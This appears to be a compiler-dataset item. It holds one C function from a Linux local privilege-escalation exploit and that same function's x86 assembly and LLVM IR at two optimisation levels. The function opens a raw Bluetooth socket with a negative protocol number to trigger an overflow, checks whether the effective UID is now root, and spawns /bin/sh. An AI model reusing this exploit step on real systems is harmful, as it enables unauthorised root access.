#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
int /*<<< orphan*/ AF_BLUETOOTH;
int /*<<< orphan*/ EXIT_FAILURE;
int /*<<< orphan*/ EXIT_SUCCESS;
int /*<<< orphan*/ SOCK_RAW;
int /*<<< orphan*/ execl(char *, char *, int /*<<< orphan*/ *);
int /*<<< orphan*/ exit(int /*<<< orphan*/);
int geteuid();
int /*<<< orphan*/ printf(char *, ...);
int /*<<< orphan*/ socket(int /*<<< orphan*/, int /*<<< orphan*/, int);
int brute_socket_create(int negative_proto_number) {
  socket(AF_BLUETOOTH, SOCK_RAW, negative_proto_number);
  int i;
  i = geteuid();
  printf("Checking the Effective user id after overflow : UID = %d\n", i);
  if (i)
    exit(EXIT_FAILURE);
  printf("0wnage D0ne bro.\n");
  execl("/bin/sh", "sh", NULL);
  exit(EXIT_SUCCESS);
}


x86 assembly (clang, -O0):
<brute_socket_create>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %edi,-0x4(%rbp)
mov    0x2e5e(%rip),%rax
mov    (%rax),%edi
mov    0x2e7d(%rip),%rax
mov    (%rax),%esi
mov    -0x4(%rbp),%edx
call   1070 <socket@plt>
mov    $0x0,%al
call   1040 <geteuid@plt>
mov    %eax,-0x8(%rbp)
mov    -0x8(%rbp),%esi
lea    0xe77(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
cmpl   $0x0,-0x8(%rbp)
je     11a8 <brute_socket_create+0x58>
mov    0x2e37(%rip),%rax
mov    (%rax),%edi
call   1050 <exit@plt>
lea    0xe8b(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
lea    0xe8f(%rip),%rdi
lea    0xe8d(%rip),%rsi
xor    %eax,%eax
mov    %eax,%edx
call   1060 <execl@plt>
mov    0x2dfc(%rip),%rax
mov    (%rax),%edi
call   1050 <exit@plt>

x86 assembly (clang, -O2):
<brute_socket_create>:
push   %rbx
mov    %edi,%edx
mov    0x2e56(%rip),%rax
mov    (%rax),%edi
mov    0x2e75(%rip),%rax
mov    (%rax),%esi
call   1080 <socket@plt>
xor    %eax,%eax
call   1050 <geteuid@plt>
mov    %eax,%ebx
lea    0xe76(%rip),%rdi
mov    %eax,%esi
xor    %eax,%eax
call   1040 <printf@plt>
test   %ebx,%ebx
jne    11c6 <brute_socket_create+0x66>
lea    0xea4(%rip),%rdi
call   1030 <puts@plt>
lea    0xe90(%rip),%rdi
lea    0xe8e(%rip),%rsi
xor    %edx,%edx
call   1070 <execl@plt>
mov    0x2e11(%rip),%rax
mov    (%rax),%edi
call   1060 <exit@plt>
mov    0x2e0b(%rip),%rax
mov    (%rax),%edi
call   1060 <exit@plt>

LLVM IR (-O0):
@AF_BLUETOOTH = global i32 0
@SOCK_RAW = global i32 0
@.str = [58 x i8] c"Checking the Effective user id after overflow : UID = %d\0A\00"
@EXIT_FAILURE = global i32 0
@.str.1 = [18 x i8] c"0wnage D0ne bro.\0A\00"
@.str.2 = [8 x i8] c"/bin/sh\00"
@.str.3 = [3 x i8] c"sh\00"
@EXIT_SUCCESS = global i32 0
define i32 @brute_socket_create(i32 %0) {
%2 = alloca i32
%3 = alloca i32
store i32 %0, i32* %2
%4 = load i32, i32* @AF_BLUETOOTH
%5 = load i32, i32* @SOCK_RAW
%6 = load i32, i32* %2
%7 = call i32 @socket(i32 %4, i32 %5, i32 %6)
%8 = call i32 (...) @geteuid()
store i32 %8, i32* %3
%9 = load i32, i32* %3
%10 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([58 x i8], [58 x i8]* @.str, i64 0, i64 0), i32 %9)
%11 = load i32, i32* %3
%12 = icmp ne i32 %11, 0
br i1 %12, label %13, label %16
13: ; preds = %1
%14 = load i32, i32* @EXIT_FAILURE
%15 = call i32 @exit(i32 %14)
unreachable
16: ; preds = %1
%17 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([18 x i8], [18 x i8]* @.str.1, i64 0, i64 0))
%18 = call i32 @execl(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.2, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.3, i64 0, i64 0), i32* null)
%19 = load i32, i32* @EXIT_SUCCESS
%20 = call i32 @exit(i32 %19)
unreachable
}

LLVM IR (-O2):
@AF_BLUETOOTH = global i32 0
@SOCK_RAW = global i32 0
@.str = [58 x i8] c"Checking the Effective user id after overflow : UID = %d\0A\00"
@EXIT_FAILURE = global i32 0
@.str.2 = [8 x i8] c"/bin/sh\00"
@.str.3 = [3 x i8] c"sh\00"
@EXIT_SUCCESS = global i32 0
@str = [17 x i8] c"0wnage D0ne bro.\00"
define i32 @brute_socket_create(i32 %0) {
%2 = load i32, i32* @AF_BLUETOOTH
%3 = load i32, i32* @SOCK_RAW
%4 = tail call i32 @socket(i32 %2, i32 %3, i32 %0)
%5 = tail call i32 (...) @geteuid()
%6 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([58 x i8], [58 x i8]* @.str, i64 0, i64 0), i32 %5)
%7 = icmp eq i32 %5, 0
br i1 %7, label %11, label %8
8: ; preds = %1
%9 = load i32, i32* @EXIT_FAILURE
%10 = tail call i32 @exit(i32 %9)
unreachable
11: ; preds = %1
%12 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([17 x i8], [17 x i8]* @str, i64 0, i64 0))
%13 = tail call i32 @execl(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.2, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.3, i64 0, i64 0), i32* null)
%14 = load i32, i32* @EXIT_SUCCESS
%15 = tail call i32 @exit(i32 %14)
unreachable
}